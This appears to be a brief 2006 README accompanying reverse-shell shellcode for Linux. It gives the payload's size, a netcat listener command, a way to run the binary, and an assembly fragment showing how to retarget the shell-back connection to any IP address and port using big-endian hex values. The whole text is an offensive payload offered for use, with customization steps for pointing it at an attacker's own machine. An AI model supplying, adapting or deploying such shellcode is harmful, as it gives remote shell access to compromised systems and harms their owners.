Reverse Shellcode for Linux

by Javantea
June 22, 2006

The shellcode is 90 bytes, but would be 84 bytes if it used an ip address without nulls.

revsh1.s is the documented assembly.

To test the reverse shellcode, you absolutely require a listener. nc -l -p 43690; If the listener is not running, it will segfault because eax gets all messed up.

You can either run the standalone executable or run
s-proc -e linux_sc5.bin.

To change the address, you actually have to change the assembly, but it's really easy. You just need to remove the section below:

# Address 127.0.0.1
inc  %dh
push %dx
mov $0x7f, %dl
dec  %dh
push %dx
cdq
with
push $0xefbeadde
where feebdaed is your ip address in big endian hex.
For example, 192.168.1.3 == $0x0301a8c0

If your ip has any nulls you have to do something like the above, though.

Changing the port is even easier, just change AAAA to your port number in big endian hex.
For example, port 1080 == $0x3804

Ports with nulls in them (2048) will require extra code (but not much).